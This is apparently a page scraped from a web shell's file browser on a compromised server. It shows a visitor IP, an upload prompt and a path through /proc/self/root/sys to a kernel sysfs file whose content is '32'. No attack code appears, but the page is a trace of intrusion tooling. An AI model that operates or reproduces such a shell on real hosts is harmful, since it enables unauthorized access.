????
Your IP : 3.19.60.207
Current Path :
/
proc
/
self
/
root
/
sys
/
kernel
/
iommu_groups
/
0
/
devices
/
0000:00:01.2
/
Upload File :
Current File : //proc/self/root/sys/kernel/iommu_groups/0/devices/0000:00:01.2/dma_mask_bits
32